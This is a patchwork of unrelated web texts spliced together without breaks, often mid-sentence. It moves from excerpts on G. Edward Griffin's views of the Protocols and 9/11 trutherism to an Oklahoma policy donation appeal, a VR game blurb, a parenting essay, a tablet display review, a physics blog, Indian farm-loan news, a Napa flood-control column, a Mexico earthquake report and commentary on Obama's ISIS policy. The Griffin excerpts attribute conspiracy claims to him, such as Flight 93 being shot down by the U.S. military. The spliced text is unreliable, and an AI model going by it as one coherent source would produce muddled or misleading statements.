Hello Skip. You have made a huge leap of logic. I do not defend Israel nor do I challenge many of the facts you presented in your email. You asked my opinion of the Protocols, not of bankers, the JFK assassination, 9/11, or current affairs. If you had asked my opinion of any of those, my answer would have been fairly close to your own analysis, but certainly not on all points. For example, you say you have a photograph of Oswald in the doorway of the depository building at the moment JFK was shot. Even if the time of the photo could be proved (which it cannot) do you really think that proves the Protocols are authentic? By the way, I am convinced from the evidence I have seen that Oswald was not JFK's assassin, but what has that to do with the authenticity of the Protocols? You will discredit yourself if you try to dump these two issues into the same bag without very substantial evidence, which you have not presented. [FreedomForceInternational.org, updated 1/28/09]
Griffin's Trutherism: Flight 93 Was Shot Down By U.S Military Fighter
Griffin: "There Is An Impressive Body Of Evidence That, On 9/11, United Flight 93 That Crashed In A Field In Pennsylvania Was Shot Down By A U.S. Military Fighter In Spite Of Official Denial." From a 2005 article by Griffin on FreedomForceInternational.org:At this time of year, lots of terrific organizations are offering you compelling reasons to donate to them. We have developed a contrarian tradition of trying to convince you why you should NOT donate to OK Policy. Here are five reasons why you might decide that a donation to OK Policy is a bad idea.
1. Facts don’t matter
Facts, schmacts – who needs ’em?? If you believe that public policy debates and decisions should be guided by party affiliation, ideological beliefs, and ill-informed opinion, please do NOT donate to OK Policy. Because our role is to provide independent, data-driven information, analysis, and ideas on the major policy issues facing Oklahoma. Our legislative primer, county facts, and budget highlights all provide the facts you’ll want to avoid
2. You really needed that tax cut
Last year, in the midst of two revenue failures and a $1.3 billion budget shortfall, our legislators allowed a quarter-point cut in the top income tax rate to take effect. The tax cut provided less than $4 a month to the average Oklahoma family, while ensuring deeper cuts for public schools, colleges and universities, health care services, and other building blocks of a prosperous state. We know most Oklahomans agreed with us that the tax cut should’ve been cancelled or deferred. But if that tax cut was your idea of good public policy, then you likely should not donate to help OK Policy fight for better fiscal decisions (you can use our online calculator to see how much the tax cut was worth to you).
3. You shouldn’t know how the state budget is spent
OK Policy works to explain the appropriations process, show where state revenues come from and how they are spent, and track budget trends over time, guided by the belief that an informed citizenry is vital to a healthy, functioning democracy. With an ever-shrinking Capitol press corps, many people count on OK Policy to shine a light on what’s happening behind the curtains. But if you prefer to remain in the dark, then making a tax-deductible contribution to OK Policy is most certainly a bad idea.
4. Oklahoma invests too much in education and other core services
Since 2008, Oklahoma has slashed state support for public schools by among the most in the nation and we are falling ever further behind in paying our hard-working teachers and state employees fair and competitive wages. Meanwhile, severe understaffing of our prisons puts the safety of corrections officers at risk and thousands of those with developmental disabilities and mental illness languish on waiting lists. Now we are facing another year of gaping budget shortfalls. Some say we will just need to cut deeper and not look at options that would put more revenue on the table. If you agree, you should not donate to OK Policy.
5. 49th is OK, 50th is Better
In Oklahoma, one in six of us, and one in four children, live in households that earn too little to stay above the poverty line. On a whole range of health and social indicators, Oklahoma ranks among the states with the worst outcomes, leading some to suggest that our state motto should be “Thank God for Mississippi.” One of OK Policy’s core convictions is that we need purposeful strategies aimed at expanding opportunities for all Oklahomans. We put forward thoughtful, practical policy proposals that will lead to a more prosperous, healthier state (you cam see our Agenda for Better Jobs and Opportunities here). But if you think we just need to work harder to outdo Mississippi in the race to the bottom, donating to OK Policy is probably not a good idea.
Kidding aside, we sincerely hope you will make a tax-deductible one-time or recurring year-end donation to OK Policy to help ensure that our work continues to have an impact in 2017. We greatly appreciate your support, and we wish you all the best during this holiday season.
PS: The best way to stay uninformed about the budget crisis facing Oklahoma is to not attend our State Budget Summit on Thursday, January 26th in Oklahoma City. And if you do decide to attend, please wait until after January 5th to buy your tickets so as not to be eligible for our special early-bird registration price of $75!About This Game
The crime... is murder.Our story takes place in a court trial, set in a futuristic world where most humans have cyberbrains. The defendant on trial is an agent who coordinates with artists to create the data for cyberbrains to interact with people’s emotions. The victim is a girl artist named Lux. The jury has to investigate what really happened by reliving the memory data of the defendant.From the creative mind behind the WORLD END ECONOMiCA series, this title is Spicy Tail’s new adventure adopting HMD in a VR space. Project LUX is a "story-oriented" work for VR, in contrast to recent VR works, which can described as "experience-oriented." Born from an idea upon reading Dr. Naotaka Fujii's book, "Kakuchō Suru Nō" (Expanding Brain) in 2014, Project LUX is a VR animated story that puts you in the perspective of the agent as he interacts with Lux. What will be revealed from reliving the agent's memory data of what transpired...?Project Lux features five "episodes" that bring this VR adventure to life, featuring the voice talents of Aimi Tanaka as Lux and Teruaki Ogawa as the agent. Lux is brought to life with the beautiful character designs of illustrator Luna Tsukigami and the motion capture performed by Aimi Tanaka herself.Project Lux StaffDeveloper: Spicy TailsProject/Scenario: Isuna HasekuraCharacter Design: Luna Tsukigami3D Modeling: Keisuke SakakibaraConcept Illustrations: You-ShimizuTheme Song Composer: n-bunaThis is a question that all parents ask themselves... constantly. There are no easy answers and, realistically, there is probably not one single answer. The important thing for parents is to at least ask and try to answer the question for their own family.
My wife Sarah and I are still early in the game of raising our own two daughters. Though I'm the author of four parenting books, I'm not going to pat myself on the back for my own parenting until our girls have left for college and I have clear evidence that my child-rearing ideas actually work (though, admittedly, even then, it could be my wife's good genes or just dumb luck if my daughters turn out okay). In the meantime, when I meet parents who have actually gotten the job done and done it well, I like to ask them for some nuggets of wisdom that they believed contributed to raising good and safe kids.
I recently ran into a long-time friend and colleague, Steve Barnes*.Though an accomplished professional, he says that his greatest achievement (in collaboration with his wife, Debra) has been raising his two daughters, Eva and Annie. Now in their early 20's, they have achieved a great deal academically to this point (Eva graduated from an Ivy League school and Annie is currently attending the same), but what is notable about them is that they are simply fine young women: intelligent, thoughtful, engaged and compassionate, just to offer up a few descriptors. Having known them both since they were young, I can attest to the fact that Steve and Debra did more than a few things right. During our recent visit, Steve was kind enough share his nuggets of wisdom with Sarah and me.
Younger Years
Good people. Steve told me that his and Debra's first goal was to raise Eva and Annie to be good people. For the Barnes girls, that meant being respectful, responsible and kind. To that end, there were regular discussions at the dinner table from an early age about what values underlie being a good person. The Barnes parents also set very high expectations of appropriate behavior and weren't afraid to provide some tough consequences when their daughters exhibited behavior unbecoming of a good person.
Education. Given that both Eva and Annie went to Ivy League schools, it's not surprising that education was emphasized in the Barnes household. First, Steve and Debra were strong role models for education, as both are well-educated academically and in life. They also expected a great deal of Eva and Annie in their school work, but, interestingly, not in the traditional sense. Instead of focusing on grades and test scores, the Barnes parents emphasized making education a priority, stressing a love of learning, hard work and discipline in pursuit of their daughters' future goals. Not surprisingly, this approach to education resulted in outstanding grades and test scores for both girls, but, more importantly, a passion for knowledge and a curiosity about things.
Make the world a better place. I realize that this one is pretty cliché, but the Barnes have embodied this essential value. Steve has been an innovator in his profession, creating a number of products that have helped countless numbers of people. Debra has been active in many charitable organizations over the years. Eva and Annie got this message early and often with family participation in a variety of altruistic activities. Not unexpectedly, their educational and career paths are leading to the helping professions.
Fun. This is perhaps my favorite of the Barnes's nuggets of parenting wisdom and one that you don't hear often enough. The reality is that family life can be busy, disjointed, stressful and just plain not very fun. The Barnes parents learned early on that a family that isn't having fun isn't a very happy family. So, Steve and Debra made fun a priority and family fun an even bigger priority.
As a result, the Barnes family had a house with lots of fun things to do and made it a place where their daughters' friends wanted to come because their house was, well, fun (also, this was a good way to maintain some semblance of control over what their girls did). The Barnes family did a lot of fun things together as well including travel, cultural events, sports, camping... the list goes on.
Fun relieved stress, reduced conflict and created strong bonds in the Barnes family. Steve and Debra found that if their daughters were having fun with them and the girls would want to hang out with them. The fun factor also led Eva and Annie to actually want to spend time with their parents well into adolescence and beyond, a rarity for most children once they reach their teenage years.
Teenage Years
The four goals I just described aren't particularly groundbreaking (though the fun factor isn't something that you hear very much about). What is most notable is that the Barnes family achieved them so completely. But, given all the horror stories you hear about teenagers these days, I was particularly struck by what Steve and Debra focused on during their daughters' teen years.
Safety. Is there any greater worry that parents have for their adolescent children than for their safety? These days, there seem to be so many dangers out there, whether the obvious threats, such as alcohol, drugs and sex, or the more insidious ones, including a vacuous popular culture that reveres wealth, celebrity, physical appearance and narcissism. And there is an old adage that daughters are blessings compared to boys when they're young, but curses when they reach puberty, so the concerns for teenage girls in particular feel amplified.
Steve and Debra countered these worries by emphasizing safety in their daughters' lives. They assumed that Eva and Annie would do what just about all teenagers have always done, namely, test boundaries, experiment and take risks. With that assumption, the Barnes parents directed their efforts on keeping their daughters' as safe as possible.
First, they educated their girls about the various risks and how to make good decisions within the context of fun and having new experiences, but with safety as the ultimate goal. Steve and Debra then collaborated with them on ways to ensure their safety within the realities of teenage behavior. A key for them was to establish a relationship of trust, openness and lack of judgment that allowed Eva and Annie to do what teenagers do while, at the same time, encouraging communication and assistance so they didn't do the stupid and dangerous things that teenagers do. Steve and Debra also continued their practice of having their house as the go-to place for their daughters' friends, offering a safe haven for everyone.
"Yes, and...". There are so many "no's" and "buts" in parenting, all usually intended to set limits and prevent children from doing what they want to do. Unfortunately, using these two words too often can create an adversarial relationship between parents and children, causing the children to be more resistant to their parents' efforts at protecting them and less open to sharing their experiences with their parents.
Steve and Debra chose a "Yes, and..." approach that had several benefits. First, the "yes" affirmed rather than thwarted their daughters' wishes, thus removing the controlling quality of most parents' involvement in their children's lives and signified that their parents were their allies, not adversaries. At the same time, the "and" signaled to their girls that the "victory" was not unconditional.
With this united relationship in place, the tone was set that allowed Eva and Annie to gain independence and make their own decisions while Steve and Debra maintained involvement and influence in their daughters' lives. The result? Freedom with limits. Control, but not unfettered. Collaboration, not disconnection. Love and support, not resentment and rebellion.
Of course, none of these goals are particularly original, but what has stood out for me about the Barnes parents is their daily commitment to their goals, the balance they created among sometimes competing goals and the respect and trust they showed for their daughters. Realistically, there's no way to tell precisely what enabled the Barnes parents to raise such healthy, happy and successful daughters in an age and culture in which it has never been more difficult. But, whatever they did, it worked, so my hat is off to them.We write as senior academics at the University of Glasgow who actively research the decarbonisation of energy to deplore the decision of our university court to divest from fossil fuels (Report, 9 October). The court’s position is vacuous posturing, since alternatives to fossil fuels are not yet available at scale for heat and transport, or for electricity production on demand. Indeed, our university has just committed itself to a new gas-fired campus heating system, not least because the only current renewable alternative (biomass) had a far poorer environmental profile. The skills and facilities of the hydrocarbons sector – many of whom are our alumni – are indispensable to the development of carbon capture and storage (CCS), without which the Intergovernmental Panel on Climate Change considers there is no chance of the world achieving emissions reduction targets. CCS also offers the only sizeable prospect for actively stripping greenhouse gases from the atmosphere.
Moreover, most food consumed in Europe today relies on nitrogen produced from hydrocarbons and they are also the raw materials for the vast array of plastics our society demands – many of which can lock up fossil carbon for centuries. Again, no alternatives yet exist at |
this Figure. If better Absolute Color Accuracy is important, then for this screen size consider the Microsoft Surface Pro 4 with Average/Maximum Color Errors of 1.9 and 4.1 JNCD – tied with the iPad mini 4 for the most Color Accurate Tablet that we have ever tested.
The displays on the competing iPad Pro and Surface Pro 4 are both Very Good to Excellent in all test categories. The most significant performance differences are the iPad Pro’s much lower Screen Reflectance (2.6 versus 5.6 percent) and the Surface Pro 4’s much better Absolute Color Accuracy (listed above).
If you need a large Professional grade Tablet with Very Good to Excellent image quality and accuracy, the iPad Pro delivers a Top Tier professional display. See the Display Shoot-Out Comparison Table for all of the measurements and details.
Comparing Tablet Displays
You can directly compare all of the display performance measurements and results for many other Tablets by referring to our Mobile Display Technology Shoot-Out article series by using a Tabbed web browser on the Comparison Table for each article. The entries for all the articles are mostly identical with only minor formatting differences, so it is easy to make detailed side-by-side comparisons by simply clicking through the Tabs for each Tablet.
Below are links for the Comparison Tables for the Tablets mentioned in the article:
Apple iPad 2015 Lab Measurements Comparison Table
Microsoft Surface Pro 4 Lab Measurements Comparison Table
Microsoft Surface 3 Lab Measurements Comparison Table
Samsung OLED Tablet Lab Measurements Comparison Table
Apple iPad mini 3 Lab Measurements Comparison Table
The Next Generation of Displays – Better Performance in Ambient Light
Right now the iPads are the unrivaled record holders for display performance in ambient light as a result of their record low screen Reflectance of 2.0 to 2.6 percent, significantly lower than the 4.5 to 6.5 percent Reflectance currently found in all other current competing Tablets.
Apple has taken an important first step towards improving display performance in ambient light. But essentially all displays are still designed to work best in absolute darkness, but they all significantly degrade in even modest levels of ambient light. However, Microsoft has also taken an important initial step, with the Surface 3 providing its best Color Accuracy in typical indoor 300 lux ambient light rather than in absolute darkness like everybody else…
The best performing LCD and OLED displays are now delivering impressive sharpness, brightness, low reflectance, high color accuracy, accurate image contrast, and great viewing angles. So what comes next? Essentially all published display specifications and factory calibrations are based on performance in absolute darkness 0 lux, but mobile displays (and even TVs) are seldom viewed in the dark. Even low levels of ambient light significantly affect the image and picture quality. For example, the 100 percent sRGB Color Gamut specified by many manufacturers only applies at 0 lux. At 500 lux, which corresponds to typical indoor office lighting, the on-screen colors are washed out by the reflected ambient light, typically reducing the on-screen Color Gamut from 100 percent down to 80 percent, plus the image contrast is also significantly affected. And it gets worse as the ambient light levels increase.
So here is what needs to come next…
The most important improvements for both LCD and OLED displays will come from improving their image and picture quality and screen readability in real world ambient light, which washes out the screen images, resulting in reduced image contrast, color saturation, and color accuracy. The key will be in lowering screen Reflectance and then implementing Dynamic Color Management with automatic real-time modification of a larger Color Gamut and Intensity Scale based the measured Ambient Light level in order to have them compensate for the reflected light glare and image wash out from ambient light as discussed in our 2014 Innovative Displays and Display Technology and SID Display Technology Shoot-Out articles.
The higher the ambient light level, the larger the Color Gamut that the display needs in order to compensate for the loss of color saturation from the reflected ambient light. All LCDs will need Quantum Dots in order to implement the necessary large Color Gamuts.
The displays, technologies, and manufacturers that succeed in implementing this new real world high ambient light performance strategy will take the lead in the next generations of mobile displays… Follow DisplayMate on Twitter to learn about these developments and our upcoming display technology coverage.
DisplayMate Display Optimization Technology
All Tablet and Smartphone displays can be significantly improved using DisplayMate’s proprietary very advanced scientific analysis and mathematical display modeling and optimization of the display hardware, factory calibration, and driver parameters. We help manufacturers with expert display procurement, prototype development, testing displays to meet contract specifications, and production quality control so that they don’t make mistakes similar to those that are exposed in our public Display Technology Shoot-Out series for consumers. This article is a lite version of our advanced scientific analysis – before the benefits of our DisplayMate Display Optimization Technology, which can correct or improve all of these issues. If you are a display or product manufacturer and want to significantly improve display performance for a competitive advantage then Contact DisplayMate Technologies.
iPad mini 4 iPad Air 2 iPad Pro
Display Shoot-Out Comparison Table
Below we examine in-depth the LCD displays on the Apple iPad mini 4, the iPad Air 2, and iPad Pro based on objective Lab measurement data and criteria. For comparisons and additional background information refer to these comparable Tablet displays: Microsoft Surface Pro 4 Display Technology Shoot-Out, the Microsoft Surface 3 Display Technology Shoot-Out, and the Samsung OLED Tab S Display Technology Shoot-Out.
For comparisons with the other leading Tablet, Smartphone, and Smart Watch displays see our Mobile Display Technology Shoot-Out series.
About the Author
Dr. Raymond Soneira is President of DisplayMate Technologies Corporation of Amherst, New Hampshire, which produces display calibration, evaluation, and diagnostic products for consumers, technicians, and manufacturers. See www.displaymate.com. He is a research scientist with a career that spans physics, computer science, and television system design. Dr. Soneira obtained his Ph.D. in Theoretical Physics from Princeton University, spent 5 years as a Long-Term Member of the world famous Institute for Advanced Study in Princeton, another 5 years as a Principal Investigator in the Computer Systems Research Laboratory at AT&T Bell Laboratories, and has also designed, tested, and installed color television broadcast equipment for the CBS Television Network Engineering and Development Department. He has authored over 35 research articles in scientific journals in physics and computer science, including Scientific American. If you have any comments or questions about the article, you can contact him at dtso.info@displaymate.com.
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into any other work without the prior written permission of DisplayMate Technologies CorporationWhat surprised me most about today’s Run 2 results (see here) was that CMS and ATLAS were able to already significantly push up limits on superpartner masses, especially the gluino mass. Limits on the gluino mass went from 1.3-1.4 TeV in Run 1 to something like 1.6-1.8 TeV in the new Run 2 data (this depends on exactly what channels one is looking at). This not only kills off Gordon Kane’s string theory prediction of a 1.5 TeV gluino, but it also removes a large chunk of the remaining possible mass region that the LHC will be able to access. And it wasn’t just the gluino: ATLAS quoted limits on sbottom masses moving up from 650 GeV in Run 1 to 850 GeV today. Whatever you thought the remaining probability was for SUSY after the negative Run 1 results, it’s significantly smaller today.
Almost all the news has been about the possible diphoton excess, ignoring the quite significant story about SUSY. Davide Castelvecchi at Nature though today talked to Michael Peskin, who has been one of the more consistent proponents of SUSY over the years, and this was part of his story:
Meanwhile, searches for particles predicted by supersymmetry, physicists’ favourite extension of the standard model, continue to come up empty-handed. To theoretical physicist Michael Peskin of the SLAC National Accelerator Laboratory in Menlo Park, California, the most relevant part of the talks concerned the failure to find a supersymmetric particle called the gluino in the range of possible masses up to 1,600 GeV (much farther than the 1,300-GeV limit of Run 1). This pushes supersymmetry closer to the point where many physicists might give up on it, Peskin says.
I had thought that the “physicists give up on SUSY” story wouldn’t get going until next year, but maybe it’s already started.
Update: In just a few hours after the announcement already 10 papers on hep-ph devoted to explaining the diphoton resonance. SUSY explanations not among the popular ones.
Update: Another eight or so papers explaining the diphotons. And the press has the obvious explanation: string theory:
The idea seems to be that since people were looking for Randall-Sundrum gravitons (which somehow counts as string theory) then if they find something in the diphoton spectrum it could be a graviton. I’m no expert, but none of the dozens of hep-th papers seem to discuss this possibility, and the papers about searches for Randall-Sundrum gravitons (like this one) set limits way above a TeV. On the other hand, I don’t doubt that some “string vacuum” can be found that will explain the diphotons, and that we’ll hear more about it in the press.GANDHINAGAR: In a major step to woo the rural vote-bank weeks before the assembly elections, Gujarat chief minister Vijay Rupani, on Monday, announced loans up to Rs 3 lakh to farmers at zero per cent interest, a move likely to benefit over 25 lakh farmers.Addressing BJP workers at ‘Gujarat Gaurav Sammelan’, the culmination of 15-day-long ‘Gujarat Gaurav Yatra’ at Bhat, Rupani said, “The decision will benefit over 25 lakh farmers of Gujarat, the state will give loans of up to Rs 3 lakh at zero per cent interest.”He added, “The 7% interest on loan will be paid by state and Central governments.” Rupani also said its execution will put an additional burden of Rs 700 crore on the state exchequer per annum. Later, BJP president Amit Shah said that farmers in Gujarat were paying 16% interest on farm loans during Congress’s regime. “Then chief minister Narendra Modi brought interest rate down to 1%. Now, Vijay Rupani has brought it down to zero per cent,” said Shah.“Congress should answer in which state has it offered loan at zero per cent interest to farmers. They should not name Punjab as there the Akalis did it, not Congress,” said Shah.At present, Gujarat has a 7% interest on farm loans out of which 3% interest relief is given by the Centre while 3% relief is provided by the state government, bringing the effective interest rate to be paid by farmers at 1%.The flood control project that has transformed downtown Napa is everything that’s out of favor in today’s spiteful political scene. It is complex and nuanced, forged by people from across the ideological spectrum working together. It combines old-school engineering with a far-sighted focus on environmental needs.
But here’s the crucial detail. It works, improving the local landscape and economy in ways no traditional solution could have achieved.
That success is relevant far beyond Napa’s boundaries, amid the attacks this year on California’s efforts to connect San Francisco to Los Angeles via high-speed rail, or the creed in Washington that environmental considerations are bad for business. For all the inevitable hurdles and sniping along the way, the projects that deliver the most benefits often are the ones that dare to imagine a future different than the past.
When this rainy season’s biggest storms hit the Bay Area in January, Napa’s year-old Oxbow bypass was put to the test. It passed with flying colors.
Waters from the Napa River surged over the willow-fringed bank of the bypass, spilling across young lawns and a plaza into recently restored wetlands, where they collided with the amplified rush of Napa Creek.
In other words, it performed exactly as predicted back in 1998, when Napa County voters approved a half-cent sales tax to fund their portion of a multifaceted flood control project through the city of 80,000.
The U.S. Army Corps of Engineers had planned on doing business as usual — channeling the river deeper while fortifying its edges with rip-rap. The bypass, a 250-foot-wide by 800-foot-long path that relieves pressure on the river’s C-shaped bend through the aptly named Oxbow District, would have been a stark concrete culvert.
But groups ranging from the Sierra Club to the Napa Chamber of Commerce had a more ambitious vision: a 7-mile-long “living river” that would improve fish and wildlife habitat while adding trails and a downtown waterfront promenade. It also would protect 3,000 properties that were officially classified as vulnerable to flooding — a red flag that had dampened private investment as surely as waterways overflowed their banks in 2005. And 1997. And 1986, the worst flood of all in the decades since Napa had grown tight along its riverbanks.
“By the 1990s we had community leaders saying that the river was an important asset we had turned our back on,” recalled Dorothy Salmon, who led the fundraising effort for Measure A in 1998. “Not only that, the 100-year flood seemed to be coming every 10 years.”
The countywide tax measure passed with 67 percent of the vote.
Looking back, Salmon credits the success of the measure to the determination of proponents to build a community coalition. Environmentalists knew they wouldn’t gain the necessary two-thirds support from voters without the backing of local business. Business groups understood that a safe attractive river might make the long-moribund downtown more enticing.
“When I look at the angst and nastiness in Washington, D.C., I shake my head,” Salmon said. “The fact that we decided to sit down and listen to all sides really made this work.”
Since 2000, nine bridges have been rebuilt, including two entrances to downtown Napa from the east. They sit several feet above the bridges they replaced, so as not to impede the river when heavy storms and high tides converge.
New retaining walls downtown include elaborate walkways, replacing a haphazard collage of steep banks and blackberry thickets. At Veterans Memorial Park, the walkway widens to become a paved amphitheater — one the river can spill into when needed.
These elements are straightforward concrete and rebar, elements likely to be favored within the still-undefined $1 billion infrastructure package that President Trump has touted to spur job creation. Others have a green tinge. Nearly 900 acres of marsh habitat were restored. The clustered roots of redwood trees cut down to create the bypass now help provide refuge for fish in Napa Creek.
Make no mistake, the effort to remake the landscape wasn’t trouble-free.
Back to Gallery ‘Living river’ rejuvenates Napa, brings needed flood... 13 1 of 13 Photo: Michael Macor, The Chronicle 2 of 13 Photo: Michael Macor, The Chronicle 3 of 13 Photo: Michael Macor, The Chronicle 4 of 13 Photo: Michael Macor, The Chronicle 5 of 13 Photo: Michael Macor, The Chronicle 6 of 13 Photo: Michael Macor, The Chronicle 7 of 13 Photo: Michael Macor, The Chronicle 8 of 13 Photo: Michael Macor, The Chronicle 9 of 13 Photo: Michael Macor, The Chronicle 10 of 13 Photo: Michael Macor, The Chronicle 11 of 13 Photo: Michael Macor, The Chronicle 12 of 13 Photo: Michael Macor, The Chronicle 13 of 13 Photo: Michael Macor, The Chronicle
Oxbow bypass didn’t open until 2015, seven years after the project was supposed to be done. The budget soared past $500 million from an initial estimate of $220 million, due in part to the cost of purchasing 53 mobile homes and 44 structures along the river’s path.
Federal money slowed down after Republicans won a majority in the House of Representatives in 2010, causing pricey construction delays. Regulatory agencies took their time making sure the ecological and flood control aspects of the project, overseen by the Napa County Flood Control and Water Conservation District, were in sync.
“We knew there was going to be give and take, and there were going to be compromises,” said Robin Klingbeil of Napa’s Economic Development Division. “Every time, people worked through it.”
They also learned to endure potshots from Washington, where pieces of the project were portrayed as boondoggles. One example: In 2010, Republican critics spun $54 million for the project into a subsidy for, in the words of New York Times columnist David Brooks, “a Napa wine train that would have shepherded tipplers from one vineyard to another.”
When word spread on Jan. 8 that the river would top the bypass for the first time, Napa residents turned out to watch. They looked down from the new bridges above the bypass, or the back deck of popular Oxbow Public Market.
“Hundreds of people were there, from (campaign) veterans like me to parents with strollers. It was really exciting,” Salmon said. “Wet and rainy too, but we didn’t care.”
Don’t just measure the benefits by how well the bypass performed during Napa’s rainiest winter since 1983.
Take a walk downtown.
Restored older buildings house wine tasting rooms. Along the promenade, a faux-Tuscan complex stacks condominiums and offices above restaurants and shops. A boutique hotel opening later this year uses downtown’s “urban energy” as a selling point.
According to the city of Napa’s Klingbeil, there has been $550 million in private investment downtown since 1999, along with $248 million in public spending. Proceeds from the hotel tax have climbed four-fold, to $18 million.
A contrarian would say the rebirth is because of the proximity to gilded Napa Valley, and to some degree this is true. But it’s hard to imagine such a turnaround if large swatches of downtown were still in the flood plain, or if the city hadn’t added plazas and parks to the project.
“The river project gave everyone a sense of comfort with investment downtown,” Klingbeil said.
And while tourists spend money, the bypass is used by locals for such events as the city’s Earth Day festival last weekend. In the afternoon you’ll see teenagers on skateboards or families enjoying a picnic. Swallows shoot back and forth overhead, building muddy nests on the First Street bridge.
None of this would have happened without audacious goals. Or if the foes of the 1998 sales tax measure had carried the day with arguments like “you cannot trust our officials or their collaborators to do what they say they will do,” as one letter-writer proclaimed in the Napa Valley Register.
Big projects will always be attacked by cynics who say the endeavor costs too much and comes with too many unanswered questions. This was as true of BART and the Golden Gate Bridge as Napa’s “living river.”
California’s current target of scorn is high-speed rail. Look no further than our Republican congressional delegation lobbying the federal Department of Transportation to withhold $647 million for the project because “additional funding... would be an irresponsible use of taxpayer dollars.”
In today’s America, there’s no shortage of partisan posturing that reduces our future to a political game. It’s easier to demonize opponents than to search for common ground.
But there’s no easy way to provide alternatives to airplanes and automobiles, the aim of high-speed rail. Or to prepare for other needs, like confronting the likelihood of sea level rise, a task the Bay Area responded to last year when voters approved a parcel tax to raise $500 million over 20 years for bay restoration and enhancement.
The flood control efforts along the Napa River didn’t just fix a specific problem. They have improved the larger quality of life along the way. That should be the goal of government whatever the political party — rather than to try and turn back the clock. Or do nothing.
John King is The San Francisco Chronicle’s urban design critic. Email: jking@sfchronicle.com Twitter: @johnkingsfchronStudents of the Mexico City school that collapsed after a powerful earthquake hit Tuesday afternoon were seen being pulled out of the rubble in dramatic video posted to social media.
When first responders and bystanders notice an opening in the building's structure, they rush to it and begin pulling the facade from the exterior in an effort to enlarge the hole, the video shows.
PHOTO: People in Mexico City help to pull some students out of the Enrique Rebsamen primary and secondary schools, which collapsed after a 7.1 magnitude earthquake struck central Mexico Tuesday. (Roberto Miranda Torres) More
Rubble from the building litters the streets as the rescuers crouch down to retrieve the survivors. First responders are seen attempting to reassure crying children as they are picked up, out of the destroyed building. Yelling from inside the building informs the search team that there are more survivors.
Hermano eres un héroe, estoy orgullosa de ti, salvaste la vida de varios niños en Colegio Rebsamen?? pic.twitter.com/9JnJw0PA8u — Isabel Miranda W (@WallaceIsabel) September 20, 2017
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Search-and-rescue teams continued to frantically search for victims trapped under the rubble of the Enrique Rebsamen primary and secondary schools on Wednesday, more than 24 hours after the earthquake struck.
PHOTO: Rescue workers remove a dead body after searching through rubble in a a search for students at Enrique Rebsamen school in Mexico City, Mexico, Sept. 20, 2017. (Carlos Jasso/Reuters) More
The bodies of 21 children and four adults have been discovered at the said, said Mexico's Education Minister Aurelio Nuno. Eleven people have been rescued and three are still missing.
Rodrigo Heredia, a 13-year-old student, told a Televisa reporter in Spanish that he escaped the building because of an earthquake drill held earlier in the day on Tuesday.
PHOTO: Volunteers and rescue workers search for children trapped inside the Enrique Rebsamen school after an earthquake in southern Mexico City, Sept. 20, 2017. (Miguel Tovar/AP) More
City-wide earthquake drills were held to commemorate the 32nd anniversary of the Michoacán earthquake of 1985, which killed thousands and caused catastrophic damage in Mexico City.
PHOTO: Rescuers, firefighters, policemen, soldiers and volunteers remove rubble and debris from a flattened building in search of survivors after a powerful quake in Mexico City on Sept. 19, 2017. (Ronaldo Schemidt/AFP/Getty Images) More
The 7.1 magnitude earthquake struck near the town of Raboso in Puebla state Tuesday afternoon, according to the United States Geological Survey. It marked the second powerful quake to hit Mexico in last than two weeks, after an 8.1 magnitude earthquake struck off the country's Pacific coast 12 days earlier.
ABC News' Fergal Gallagher, M.L. Nestel and Morgan Winsor contributed to this reported.President Obama speaks on ISIS at the White House on Sept. 10, 2014, in Washington. Pool photo by Saul Loeb/Getty Images
Whether President Obama’s plan to combat ISIS actually degrades and destroys the organization may take years to determine, but the debate in the coming weeks over that policy will tell us whether America can have a public discussion about the use of military power during a time of high anxiety.
Right now, the conversation doesn’t look like it is going to make us any smarter. Polls show that Americans are scared and want action. In a recent NBC/Wall Street Journal poll, more of those surveyed said the United States is less safe now than at any point since 9/11. In a Pew poll, 62 percent said they were very concerned about the rise of Islamic extremism around the world—the largest percentage to say so since 2007. A somewhat smaller majority (53 percent) is very concerned about the same problem in the United States—tying a record high. Republicans say the president has been too slow to act, and Democrats are rushing to agree.
Out of this moment broad foreign policy conclusions are being drawn. The conventional wisdom is that the pendulum has swung too far after the presidency of George W. Bush, and now it must swing back toward a more assertive foreign policy. Whether the topic is Syria, Islamic extremism, or Russia, actions are increasingly being framed around showing weakness or strength. When Americans are being beheaded, no one wants to be accused of weakness, so there’s not much discussion about what actual weakness or strength means in a given context. That’s the kind of chin-pulling that makes Obama ineffective; the incentive is just to “show strength”—whatever that means.
The public mood has switched quickly in favor of military action. Two-thirds of Americans believe that it is in the nation’s interest to confront ISIS. Thirty-four percent of the country is even in favor of the use of ground troops. A year ago, when the president considered taking action against Syria for using chemical weapons, only 21 percent said the action was even in the national interest.
The president’s numbers have also fallen sharply. In the latest NBC/Wall Street Journal poll, just 32 percent approve of the president’s handling of foreign policy, an all-time low in the survey. The GOP has an 18-point advantage on which party can handle foreign policy issues, an 11-point increase from a year ago. Republicans hold a 38-point lead among voters when they are asked which party best ensures a strong national defense. That’s the GOP’s largest lead on this question in more than 10 years. In the latest Washington Post poll, the president hit a new low on the question of leadership. Just 43 percent call Obama a strong leader, down 11 points in the past year to the lowest level of his presidency.
What this political pressure means in practical terms is that the signals to show strength in order to survive politically are coming in much stronger than the signals to evaluate foreign policy action based on the merits, an evaluation of national interest and prudence. If the public thinks the unpopular president is too contemplative and cautious, you must do the other thing. Or at least you must sound like you are, through pledges of action and boasts of resolve, all of which reaffirm the underlying move toward displays of strength.
So, for example, it has now become conventional wisdom that Obama should have armed the Syrian opposition long ago. If he had, perhaps ISIS would not have grown to such a threat. The Wall Street Journal says it, Hillary Clinton says it, and Dick Cheney says it. Democratic senators trying to stay alive in a tough year are echoing the claim or piling on. Sen. Kay Hagan, in her first debate in North Carolina, said Obama should have supported the opposition. Democrats are not only criticizing the president’s speed in the past, but his understanding of the threat facing the country. Sen. Al Franken said he was troubled that the president said he didn’t have a strategy for combating ISIS. Sen. Jeanne Shaheen said she disagreed with Obama’s characterization that ISIS is “manageable.” The president now faces the accusation, ratified by members of his own party, that he took his eye off the ball, one of the strongest critiques of his predecessor. After the president’s speech, Hagan and Shaheen gave him qualified support, stressing that they were going to press him to use every tool short of ground troops to take on ISIS.
Sen. Rand Paul at a hearing on Capitol Hill on Sept. 9, 2014 in Washington. Photo by Chip Somodevilla/Getty Images
